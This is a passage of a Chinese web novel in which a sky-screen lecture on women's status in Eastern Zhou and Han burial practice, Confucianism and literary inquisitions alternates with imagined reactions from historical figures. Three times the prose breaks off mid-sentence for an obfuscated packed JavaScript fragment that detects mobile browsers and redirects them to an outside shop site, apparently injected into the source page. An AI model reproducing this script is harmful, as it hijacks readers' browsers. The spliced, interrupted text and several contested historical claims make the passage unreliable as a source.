以上内容，大家可以明显看出，女性贵族随葬青铜礼乐器组合，没有延续西周中期开始的跌落趋势，而是有了一个强势反弹。 女性贵族墓葬在随葬器物层阶上开始与其配偶墓葬取齐，本阶段女性在随葬青铜礼乐器组合层阶上有了一个提高。 然而，在同时期的卿大夫阶层贵族墓葬方面，女性墓葬使用青铜礼乐器层阶却依然与男性配偶墓葬间存在一个等差，女性贵族用鼎数量与男性贵族持平甚至低于男性贵族。等级象征性较高的甗，也只较为特殊的出现于琉璃阁遗址。 女性墓葬出现了编钟、编磐等礼乐器组合这些等级象征性极高的乐器，显示了本阶段高等级贵族女性墓葬随葬青铜礼乐器组合层阶的普遍提升。 当然，我们也能看出高等级女性墓葬随葬青铜礼乐器组合层阶重要性的提升，并不是在所有地区都是同时出现。】 “你们……你们每天都在掘先人的墓吗？啊？你们……” “别有一天说起我们家的墓被挖了吧……” “这个时期的女人，肯定有一些很厉害的。” “你说，再往后一点，是不是女人的随葬品等级就要超过男人了？” “春秋战国时候的女人，不可小觑。就像……就像武皇时代也是。” “我们现在，连想都不敢想那是怎样的时代。” …… 11. 礼制儒教 【基于文献的东周女性史研究往往强调女性在东周时期社会地位逐渐式微，然而从考古学视角观察,女性贵族社会身份地位在东周时期却并非单向的跌落。 聊完春秋时期，到了战国时代，又是怎么样的呢？我们接着来看。 战国早期，我们以琉璃阁遗址、定襄中霍村遗址、潞城潞河古城及墓地、陕县后川遗址的7座女性墓葬为例，对比同等级男性墓葬。 琉璃阁M76（女性墓）：鼎5、豆22、甗1、壶4、钅和1、盘1； 琉璃阁M75（男性墓）：鼎12、豆2、壶6、盘2、匜2、鉴4、镈钟4、甬钟8、钮钟9、石编磐10。 陕县M2042（女性墓）：鼎3、豆2、壶1、钅和1、匜1； 陕县M2041（男性墓）：鼎5、豆6、鬲2、甗1、壶2、钅和1、盘1、匜1、鉴2、编钟9、编磐10。 潞城潞河M8（女性墓）：鼎1、敦1、壶2、盘1、匜1； 潞城潞河M7（男性墓）：鼎11、豆8、鬲2、簠2、壶2、钅和1、罍2、匜1、鉴4、盉1、编钟4组28件、编磐10。 定襄中霍村M2（女性墓）：鼎2、豆1、甗1、壶1、盘1、匜1； 定襄中霍村M1（男性墓）：鼎5、豆2、甗1、壶2、盘1、匜1。 陕县M2144（女性墓）：鼎3、豆2、盘1、匜1； 陕县M2120（男性墓）：匜1； 陕县M2155（女性墓）：鼎3、豆2、壶2、钅和1、盘1； 陕县M2124（男性墓）：鼎2、豆2、甗1、钅和1、盘1、匜1； 陕县M2095（女性墓）：鼎2； 陕县M2138（男性墓）：鼎3、豆2、敦1、壶2。 战国早期，随葬青铜礼乐器贵族墓葬中，一些女性贵族墓随葬器物组合，较前期发生了一个颇具戏剧性的反复。 不止体现在鼎的数量明显差距，还有编钟等乐器，以及鉴等器物从女性墓葬中消失。 战国中晚期时，我们以分水岭墓地5座墓葬为例，来看这一时期是否存在变化。 分水岭M26（女性墓）：鼎7、敦2、簠2、簋2、匜、鉴2； 分水岭M14（男性墓）：鼎9、鬲4、鉴1、甬钟2、钮钟8、编磐22。 分水岭M25（女性墓）：鼎6、豆2、敦2、鬲3、壶2、钅和2、盘1、匜1、鉴2、编钟18、编磐10； 分水岭M12（男性墓）：鼎5、敦2、甗1、簋1、簠2、壶2、钫（fāng）2、钅和2、盘1、匜1、鉴3。 分水岭M11（女性墓）：鼎2、敦2、壶2、钅和1、匜1、铜铃4； 分水岭M10（男性墓）：鼎2、豆2、（陶仿铜礼器）。 分水岭M36（女性墓）：鼎2、壶1、盉1、（铜礼器）； 分水岭M35（男性墓）：鬲1、鉴1、（陶仿铜礼器）。 分水岭M20（女性墓）：鼎1； 分水岭M21（男性墓）：（仿铜陶器）。 战国中晚期，男女异穴合葬贵族夫妇墓葬随葬组合，出现了一种新变化，即夫妇双方对一套青铜礼乐器的共同拥有。 中高等级的卿大夫夫妇合葬墓葬，双方对同一组青铜礼乐器共享。 而这一变化，在实用青铜礼乐器和仿铜陶礼器共出的夫妇异穴合葬墓葬中，有更明显的表现。 从考古学角度，我们对春秋战国时期女性地位变化，有了一个大致的了解。 通过随葬青铜礼乐器的规格变化，我们可以知道，西周以父系血缘为中心的周礼，是导致西周女性地位下降的主要原因。 春秋早期，女性的社会身份与地位依然延续了这种状态，女性贵族的社会地位步入了一个下降通道。 而春秋时期“礼崩乐坏”逐渐开始的社会转型，导致了礼制对体制内女性贵族控制的松动。 春秋中后期，随着随葬青铜礼乐器制度的进化和完善，女性贵族从形式上获得了与男性较为平等的权力和地位。这种平等也只存在于与其同级别的配偶之中。 但这种提升极其表面化，其实质是女性依附于男性和家族，将自身作为男性身份等级制度和体系的补充，融入周礼的等级和秩序中。 战国时期，女性权力出现波动，墓葬也有体现。 然而到了战国晚期，随着周文化礼制逐渐固化与泛化，特别是以男性贵族为中心的君权、王权逐渐确立，女性社会地位又一次发生了变化，突出表现在两性贵族间使用列鼎数量存在等级差。 在父权制为核心的宗法制度下，女性不可能在社会地位方面做到与男性的真正平等。 随葬青铜礼乐器制度，只是以一种“形式上”的平等将女性贵族接纳到礼器使用范畴中。 正是因为女性随葬器物制度，是对男性贵族青铜礼乐器随葬制度的一个补充和完善，女性贵族随葬青铜礼乐器，自然也就有着制度化和等级化的特性。 夫妇合葬墓随葬礼乐器中双方对一套青铜礼乐器的共同拥有，从物质文化层面体现出当时财产所有制发生的变化。 《礼记·昏义》有言：“妇至，婿揖妇以入，共牢而食，合卺而酳，所以合体、同尊卑，以亲之也。” 文献资料显示，周人礼制秩序中女性并未被完全排斥于用礼范畴外，但女性用礼是受着一定的限制的。 女性贵族因和男性贵族的婚姻关系而拥有了“共牢而食，同尊卑也”的权力和身份。 然而，因东周时期女性不具备独立的经济地位，女性贵族对礼制器物只有使用权而不具备所有权，女性贵族无“私货”更无“私器”，大量的女性陪嫁之“媵器”的作器者也都是男性。 女性贵族通过婚姻、家族拥有的青铜礼乐器，其墓葬中随葬的青铜礼乐器的真正拥有者应该是女性墓主所从属的丈夫和家族。 由此，我们能够清楚春秋战国女性贵族墓葬随葬青铜礼乐器层阶的高低及变化，并不反映女性贵族真正对礼器的拥有，这些只是表现了礼制中女性贵族参与程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581238|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度的高低，从而反映出女性贵族相对地位的高低及变化。】 “我还以为，有的女人独享礼乐器呢，原来，原来是共享啊……独享多有意思啊。” “共牢而食，同尊卑也。这和我们现在的三从，说的意思也差不多吧，就是说女人都是身不由己啊。” “从属丈夫和家族，未嫁从父，出嫁从夫，夫死从子，也不是一开始就是这样的啊，还不是从周才开始的，那如果我够厉害，你们又凭什么安排我呢？” “女人本来就是从属男人的，自古如此啊。” “我管更早之前啥样呢，我也从周。” …… 【关于原始社会与奴隶社会这一部分，我们来一个小总结。 华夏古代女性地位的卑下与宗法制度是脱离不了关系的，从原始社会的"母权制"，到夏商的"牝鸡司晨"，再到西周的"牝鸡无晨"，先秦女性，一步步走进男性主宰的阶级社会。 在男女自然分工和社会分工所造成的差别中，女性逐步退居于家庭之中，逐步丧失其在社会上应有的地位。 周礼中分封制和宗法制的结合，又使妇女在失去政权之外，又失去了家庭财产继承权，男女地位的极度不协调已经成为一种社会趋势。 春秋战国时代，社会大变革的动荡使礼法制度受到了前所未有地冲击，"礼崩乐坏"的社会状况和原始世风民俗地影响，从某种意义上讲也减轻了周礼对妇女的制约，使得这一时期女性地位的压抑状况有所缓解，她们仍然可以在一定程度上参与社会活动，干涉国家政治。 但是宗法等级秩序却容易从表入里地不断发展，并不那么容易瓦解。 虽然整个华夏历史上最剧烈的变革，并不在殷周之际，而是在春秋战国之际，或者说是“周秦之变”，但要注意到“周秦之变”以后，形成于西周的宗法组织、森严的等级秩序以及伴随的一系列礼教仍然对后世有着很深远的影响。 在这一点上周朝其实和后世的皇权专制时代并无本质区别，从周朝到明清一直都是以宗法制度为基础的家国同构的专制社会。 继承了西周官方意识形态的儒家也一直是主流文化，所以女性一直都是被各方面的礼教所制约的。】 “既然一步步走进去，那自然也可以，一步步地走出来。” “我们的《女报》，就从母权制、牝鸡司晨、牝鸡无晨这里开始吧，总是要一步步来的。” “继承权，前朝还能立女户，我们现在只有吃绝户，真是够了！” “我先把我闺女送到新办的女校去，其他的慢慢筹划，不着急。” “天幕的意思，难道是后世不是宗法制？我看前面讲的虽然说什么男女平等，女性还是弱势吧，想从我们男人手中夺权，你当时过家家酒啊，天真，无知！” “你们女人啊，结了婚大部分不还是围着我们男人转，连脑子也是，不用我们说什么，她们啊就冲上去了，我们给她们的与你们能给她们的，或者让她们自己争取的，相对来说太容易了，你们还不懂吗？” …… 12. 礼制儒教 【春秋战国，这一奴隶社会向封建社会转型的大变革时期，旧制度被打破，新制度尚未建立，“礼崩乐坏”之下，诸子百家涌现，儒、道、墨、法、兵、名、杂、农、阴阳、纵横等学派“百家争鸣”。而这，也是当时意识形态最为集中的反映。 为适应统治阶级的需要，从战国时期到秦朝的偏重法家，到汉初重“无为而治”的道家，直至西汉武帝采纳董仲舒“罢黜百家、独尊儒术”的建议并施行，儒家思想由此成为封建社会专制思想。 对于汉武帝“罢黜百家、独尊儒术”，有一种观点是认为，像他这样在两千多年封建社会中，与秦始皇、唐太宗并列的“千古一帝”，在晚年下“罪己诏”进行自我批评的君主，是做不出如此事情的。 近代考古学家和历史学家发现汉武帝“罢黜百家，独尊儒术”的真相，是为了提高儒家思想的地位，东汉时期儒家信徒班固捏造了事实，让汉武帝背了两千多年的锅。 正如秦始皇被骂了两千多年的“焚书坑儒”，其实“坑儒”只是依法坑杀诓骗于他的方术之士一样。 说到这里提一嘴文人儒生集团，儒家从战国以来一直是个非常霸道的集团。 它主张要想治国必须以儒术为中心，就这一点可见一斑。 虽然他们推崇“仁”啊。 也虽然很多朝代看似“独尊儒术”，实则“外儒内法”的实质啊。 比如，秦朝重法行郡县，儒家坚持尊周礼行分封；秦始皇为加强思想统治“焚书”，被儒家各种写书追着骂。 关于“钳制舆论”，秦始皇不是第一个，也不是最后一个。秦汉魏晋宋金元明清都有历史记载的文字狱，然而大部分我们都没有听说过。 我们基本都知道清朝的“文字狱”，因为时间离我们太近了，而且那已经是高峰期了。 民国史家柳诒徵称前代文人受祸之烈，殆未有若清代者。故雍乾以来，志节之士，荡然无存。……稍一不慎，祸且不测。 据不完全统计，在顺治、康熙、雍正、乾隆四朝发生文字狱166起，顺治7起、康熙12起、雍正17起、乾隆130起，处决200多人，涉及3000多人。 最早的文字狱发生在春秋时期，《左传》记载道：太史书曰：''崔杼弑其君。’崔子杀之。其弟嗣书，而死者二人。其弟又书，乃舍之。 史官和他的弟弟不畏权臣的淫威，本着史家秉笔直书的良知，如实记载崔杼弑君的丑行，终因直书而丢了性命，成为这场由记史引起的文字狱的殉难者。史官的另一位弟弟继承乃兄遗志，临危不惧，坚持直书，最终完成了任务。 《汉书》卷六十六《杨恽传》载，西汉宣帝时，司马迁的外孙杨恽，即因《报孙会宗书》与友人通信流露对当局的怨愤，惨遭腰斩。 魏末嵇康因写作《与山巨源绝交书》令司马师闻而恶之，而被斩于东市。 到了“与士大夫治天下”的宋朝，也有着历史上有名的“文字狱”。 宋初就设有专管文字狱的机构——皇城司巡察了，还颁布有相关的“禁书法令”。 只是很多人都不太清楚这一点，这也是儒生集团“春秋笔法”的效果吧。 我们熟知的大文豪苏轼的“乌台诗案”，就是历史上有名的文字狱。 说到这里，不得不说一句双标啊。 又比如，因为唐朝末年黄巢的“我花开后百花杀”，宋朝没有了贵族阶级，导致士大夫阶级，或者说文官（儒生）集团的崛起，他们手中的笔，是任何强势的皇帝都要妥协的，他们甚至一度架空皇权，是很霸道吧。 也正是因为文官儒生集团的“霸道”，他们从“尊孔”，上升为“尊孔家”。 从汉代尊孔以后，历代君王都以加封孔氏作为笼络儒家子弟的手段，以显示自己是尊孔崇儒的君王。 宋朝开始，后续几个王朝更是给孔氏子孙封“衍圣公”，33代衍圣公，却也因“世世修降表，代代衍圣公”逐渐失去威望。 说到“世修降表”，网上有一幅对联，内容是这样的： 上联：昨降元蒙，今降满清，何足道哉。方明白:善劝进家有余庆。 下联：孔曰成仁，孟曰取义，全都忘了。只记得:识时务者为俊杰。 横批：世修降表。 “七十六代家奴，二十五朝贰臣”尽管衍圣公膝盖很软，也不影响从春秋战国到民国，两千多年，“流水的王朝，铁打的孔家”，“天下第一家族”的称号。 “尊孔家”，也使得孔家在曲阜成为不是分封胜似分封的“土霸王”。 宋朝开始，孔家、衍圣公，或者说儒学，真正与封建统治融为一体了。 所以才有我们后来五四运动喊出的“打倒孔家店，救出孔夫子”的口号。 我们常说“屁股决定脑袋”、“世上只有背叛阶级的个人，没有背叛阶级利益的阶级”，儒家（划掉），儒教亦然。 说到“儒教”这一称呼，是因为儒家和宗教有着高度的相似性，我们来看： 宗教信奉至高神，儒家信奉孔子，神和孔子说的话都是不可更改的真理。 宗教有经书，儒家有四书五经，两者都对人的行为和价值取向进行了规定。 宗教有教堂，儒家有宗族，双方都有基层的组织动员机构。 宗教说君权神授，儒家讲天人感应，大家都强调了皇权的神圣性。 大家发现儒家和宗教之间的共同点了吧？ 儒家虽然没有创造神，但同样做到了文明发展中的不可争议性，这正是宗教的本意。 有人可能觉得这也太绝对了，宋朝皇帝不还信封道教吗？ 那还不是因为北宋得国不正，信奉道教更好地与独尊儒术的“天人感应”形成完美闭环嘛。】 “百家争鸣，这个词用得好啊，可不就是百家争鸣嘛。” “正是因为商鞅变法，才有奋六世余烈，完成大一统的始皇帝啊。” “说起来要无为而治的窦太后，与儿子、孙子的关系，可真是一言难尽。” “罢黜百家、独尊儒术，也不是不可取，还需再斟酌斟酌。”这是听了“千古一帝”“罪己诏”“背锅”之后，沉思的汉武帝。 “方士竟敢欺骗于朕！儒家也不安分啊。”这是听到“千古一帝”，以及被儒家骂的秦始皇。 “朕做的还不够，还需诸位一同缔造大唐未来啊。”这是开心的唐太宗。 “我没听错吧，儒家，霸道？！” “一派胡言！妖言惑众！我儒家从来以理服人！” “外儒内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581239|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法？李斯你怎么看？” “嘶……别说，这我就知道暴君秦始皇焚书，不知道其他朝代也有文字狱诶。” “儒家也会骗人吗？这不可能，我不相信，我不相信……” “这文字狱，和周厉王的道路以目，不是一个意思吗？谁也没比谁好到哪里去，哼！” “崔杼弑其君，这个我知道，就算这样又如何？太史公后面的史家也没见几个硬骨头。” “东坡先生，诗词文书画都是一绝，就是做官，啧……” “黄巢是谁？文官架空皇权？他们武官呢？” “文官手中的笔，真的比朕手中的刀，还要锋利吗？后世不太行啊……” “世世修降表，代代衍圣公。呵……可不就是如此嘛，每次跪得最快的，剃头最快的，不都是他们孔家吗？满嘴仁义道德，却是贪生怕死之辈。” “流水的王朝，铁打的孔家。还有文人儒生集团。需要再一个黄巢出世啊。” “打倒孔家店，救出孔夫子，妙哉！妙哉！妙哉！这是个好办法啊，我看孔家那群人还要怎么跳。” “说起来，软骨头的衍圣公都是北孔，南孔还是不错的。” “原来……北宋的道教，是这么来的啊……有点好笑。” …… 【扯远了，我们来看封建社会，或者说儒家思想之下，在“礼”这一方面，女性的地位变化。 提到儒家，就不能不提孔子与周礼，有周礼的西周是孔子的理想国，他一生推行的教育思想都与恢复周礼有关，仁义礼智信的基础也是来自于周礼。 颜渊问仁。子曰：“克己复礼为仁。一日克己复礼，天下归仁焉。为仁由己，而由人乎哉？”颜渊曰：“请问其目。”子曰：“非礼勿视，非礼勿听，非礼勿言，非礼勿动。”颜渊曰：“回虽不敏，请事斯语矣。” 颜渊请教如何行仁，孔子说：“能够克制和约束一己私欲，让自己的行为回复到礼的要求上，就是仁（的做法）。一旦人这样做了，那么天下人间的人都会赞许他是仁人。做仁义的事情是完全靠自己的，难道还能靠别人吗？”颜渊说：“希望指点一些具体做法。”孔子说：“不合乎礼的不去看，不合乎礼的不去听，不合乎礼的不去说，不合乎礼的不去做。”颜渊说：“我虽不够聪敏，请你允许我去实行这番话。” 《礼记·哀公问》中载（哀公）曰：“敢问为政如之何？”，孔子对曰：“夫妇别，父子亲，君臣严。三者正，则庶物从之矣。” 大意为：哀公问，治理人的最重要的方法是什么？夫子答，夫妻有别，父子亲近，君臣有礼，这三方面正了，一切都正了。 可见男女之别已经成为孔子为政意识中的核心问题之一。如何别男女，孔子认为在这个方面礼具有重要的作用。 他曾言：“非礼无以别男女，父子兄弟之亲，婚姻疏数之交也，君子以此为之尊敬，然后以其所能教百姓。” 没有礼,便不能区别男女、父子、兄弟的亲情,以及在婚姻上和人际间的关系。有知识的人因而把礼看得十分重要。然后以其所了解的来教化百姓。 正是在孔子等人的大力倡导下，男女有别的制度在儒家中逐步确立起来，并进一步发展成为中国古代社会人伦道德中的重大原则。】 13. 礼制儒教 【孔子创立儒家的目的是为了维护周礼，其女性观作为其思想的一部分，是与周礼一脉相承对女性地位持否定态度的。 这种将女性禁锢于礼法教条之内的思想，被后世继承并不断加码，导致封建社会对女性地歧视与压迫。 女性与相同阶级的男性、不同阶级的女性之间都存在地位的差别，贵族女性相对来说处境好一些，并且有关贵族女性的史料记载也更多。 这一部分承接原始社会与奴隶社会的内容，我们就从上层阶级，以皇后等贵族女性为例的合葬、祔庙配飨、从帝谥、祭祀几个方面，来看女性的地位变化。 我们先说合葬吧，其他的除了祭祀，都完全是埋葬之后的事情了。 墓葬作为墓主身份地位的象征，在阶级社会表现得尤为明显。 夫妻合葬是我国古代普遍实行的一种丧葬制度。作为一种特殊的丧葬习俗，能够反映一段时间内的宗族制度、丧葬礼俗、家庭关系和社会组织等诸多情况。 合葬的形式基本可以分为三种，即：同茔异穴合葬、同穴异室合葬、同室合葬。 这是一由‘别”到“合''’的渐进过程。 夫妻合葬墓的兴起是在周秦时期，至两汉进入一个重要的发展阶段。两汉夫妻合葬墓的数量急剧增加，也更具普遍性，上至帝王贵族，下到官吏平民，一般都实行夫妻合葬之礼。 在汉代，夫妻埋葬方式由同茔、同穴到同室趋合的倾向日益明显，而且一直影响到以后的诸多朝代。 先来看同茔异穴合葬。 同茔异穴合葬，是指在同一个墓葬茔域内，有两座或多座形制相似的墓葬，共用陵园等墓上建筑，但各墓之间的结构互相独立，各墓墓主之间的关系为夫妻或同一家族的不同成员。 夫妻的同茔合葬出现得比较早，帝王陵和诸侯王及列侯级别的墓，主要继承了商周以来的异穴合葬形式。在西汉时，以帝后和贵族的合葬中最为常见。 汉代帝后各起坟丘，或依山为陵，坟丘标志不明显，但二者之墓有一定的间距。 除汉高祖长陵为帝、后合葬一个陵园外，从景帝阳陵开始，帝、后各自有自己的陵园、封土、墓穴，但后陵的规模略小于帝王。 《史记》中记载：“高后崩，合葬长陵。” 裴骃在《史记集解》中引《关中记》曰：“高祖陵在西，吕后陵在东。汉帝后同茔，则为合葬，不合陵也。诸陵皆如此。” 徐苹芳在《中国秦汉魏晋南北朝时代的陵园和茔城》一文中认为：“汉代帝后合葬同茔而不同陵，所以后陵多在帝陵之旁，坟丘则较帝陵为小，惟吕后坟丘大小几乎与长陵相同，异于他陵。后陵都葬于帝陵之东，如长陵、阳陵、平陵和杜陵。” 一般帝王陵在西、后陵在东，这种布局与《论衡·四讳篇》所讲“夫西方，长老之地，尊长之位也。尊长在西，卑幼在东”相符。 《尔雅·释宫》也说“西南隅谓之奥”，疏：“西南隅为最深隐，故谓之奥，而祭祀及尊者常处焉”。 另外，根据“事死如事生”的原则，帝王陵域和汉长安城的宫殿布局也有吻合之处，汉长安城长乐宫和未央宫建成后，帝后多居长乐宫（东宫），而帝王在未央宫（西宫）布政施令。 这种布局，体现了皇后的从属地位，即皇后位于皇帝之“东”，象征着阴从阳、女从男的传统观念?，以及男尊女卑这一传统封建伦理观念。】 “一说起儒教对女性压迫都是后世朝代的不断增加，这女人地位低下的根，还是在周礼与孔老二啊。” “什么思想成为主流，还不是上面人的主意嘛。” “想想不合葬或者不葬入祖坟，就会成为孤坟野鬼，这些说法也都是前人编造的吧。这样一来，咱们女人可不就得争啊抢啊的嘛。” “同茔异穴啊，嗐，哪来那么多墓地啊。” “以前真好啊，不用和看不顺眼的人躺在一个墓穴里。” “高后吕氏，虽然被骂，但我还是很佩服她。” “男女阴阳调和，三从四德、三纲五常，本该如此。” “后陵啊，刘老三你怎么说？”这是在问刘邦的吕后。 …… 【汉代藩王及贵族中，也同样实行同茔异穴的葬式。 河北满城第一代中山王刘胜及其妻窦绾之墓，坐落在陵山主峰的东坡，两墓南北并列，墓门向东，相距约120米。 说到刘胜墓，就不得不提一下 “金缕玉衣”，而国内首次发现、规格最高、最完整的玉制葬衣，正是出土于刘胜墓中。 “金缕玉衣”，是汉代规格最高的丧葬殓服，大致出现在西汉文景时期。据《西京杂志》记载，汉代帝王下葬都用“珠襦玉匣”，形如铠甲，用金丝连接。这种玉匣就是人们日常说的金缕玉衣。当时人们十分迷信玉能够保持尸骨不朽，更把玉作为一种高贵的礼器和身份的象征。 帝王亲近的贵戚大臣，往往陪葬于帝陵之旁，而他们与妻子的墓葬也采用同茔异穴的形式。 卫青的墓葬在汉武帝茂陵东，平阳公主墓冢在茂陵内，卫青墓东侧1300米处。 《汉书·卫青霍去病传》记载：“于是长公主风白皇后，皇后言之，上乃诏青尚平阳主，与主合葬，起冢象庐山云。” 说到汉武帝茂陵，是所有西汉帝陵中规模最大、气势最恢宏的一座。它同时也是修建时间最长、陪葬物品最丰富的一座。 《长安志》卷十四引《关中记》载：“汉诸陵皆高十二丈，方一百二十步，唯茂陵高十四丈，方一百四十步”。 茂陵，汇聚有汉武一朝最尊贵的文臣武将、功勋贵族，比如卫青与平阳公主。 卫青墓是茂陵最大、距离刘彻最近的功臣陪葬墓。众所周知，陪葬墓与帝陵的距离，可以推断出墓主人在朝廷中的级别和权势。 有些好笑的是，卫青墓距离刘彻茂陵1000米，距离平阳公主墓1300米，离老板比老婆近300米。】 “刘胜，嘶……据说有120个儿子，女儿也不计其数呢。” “本王的墓，被挖了？？？连葬衣都被……都被搬出来了？那……那本王呢？！”这是懵逼的刘胜。 “金缕玉衣，从东周到三国，流行了400年，它的作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581240|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用也没那么神吧，不然后面怎么没人用呢？” “卫青霍去病被太史公写进佞幸传，也不是没道理吧。” “那茂陵陪葬墓最高，不会是霍去病墓吧。” “没了龙城飞将、没了封狼居胥冠军侯之后，武帝出师不利，又老糊涂，不然怎么会有卫皇后、卫太子的事情呢？” “……”这是平阳公主。 “卫青、去病，肯定要长长久久的伴我左右啊……”这是刘彻。 …… 【我们再来看同穴异室合葬。 同穴异室合葬，最大的特征是同一坟丘（封土）之下并列两个墓穴，夫妻分葬在不同墓穴之内，造墓可能有先后，但最终形成的是两墓并列、封土相连、共有同一坟丘的合葬墓。 它是比异穴葬更进一步的“合葬”，夫妇“合”到了同一坟丘之下，但还没有同室。夫妇之间相隔的距离又拉近了。 在同穴的合葬中，夫妻的合葬有了共同的坟丘维系，与异穴葬相比，“合，得更为紧密。但在异室之间仍有间隔，夫妇各自独立性依然突出。 西汉时期的大型土圹木椁合葬墓大多是异穴，到东汉时期，由于普遍兴起砖室墓，东汉帝王陵多使用“黄肠石”，使同穴合葬成为可能。 根据文献和已经发掘的东汉王侯级别的墓葬推测，东汉时期可能盛行帝王帝后合葬一穴的礼俗。 李如森在《汉代丧葬制度》中说：“西汉前期和中期，夫妇合葬与以前一样，为异穴合葬，夫妇分别葬在两个并排紧靠的墓坑中。……西汉中后期以后，制度为之一变，除帝陵以外，一般都采取夫妇同墓合葬，从此以迄东汉，遂成为定制”。 刘炜在其《东汉帝王陵寝制度》一文中认为：“东汉时期，帝陵建制的另一重大变化是出现帝后同穴而葬。” 《后汉书·礼仪志》载太皇太后或太后崩后“合葬，羡道开通，皇帝谒便房”。 《后汉书·董卓传》说“及何后葬，开文陵，卓悉取藏中物”。 可知，何皇后死于灵帝之后，待她入葬时，还需重开文陵，因此皇后与皇帝应为同穴而葬。 但，也存在一些“同茔不同陵”的“合葬形式。 《后汉书·灵思何皇后传》又云：“有司乃奏追尊王美人为灵怀皇后，改葬文昭陵，仪比敬、恭二陵。” 《后汉书·和帝纪》云：永元九年九月甲子，“追尊皇妣梁贵人为皇太后，冬十月乙酉，改葬恭怀梁皇后于西陵”。 这就是说，西汉时期同茔不同陵的帝后合葬形式在东汉仍有沿续，但东汉已有同陵合葬的形式。 而诸侯王墓中，夫妇合葬已成定制。 河北定县43号汉墓，系东汉中山穆王刘畅夫妇的同穴异室合葬墓，墓的西后室停放男墓主的棺撑，南后室停放女墓主的棺撑。 帝王亲近的贵戚大臣，也开始同穴异室合葬模式。 《后汉书·樊宏传》中，光武帝之舅樊宏死，遗令薄葬，“遗敕薄葬，一无所用，以为棺柩一臧，不宜复见，如有腐败，伤孝子之心，使与夫人同坟异臧。” “异减”也就是异穴而葬。】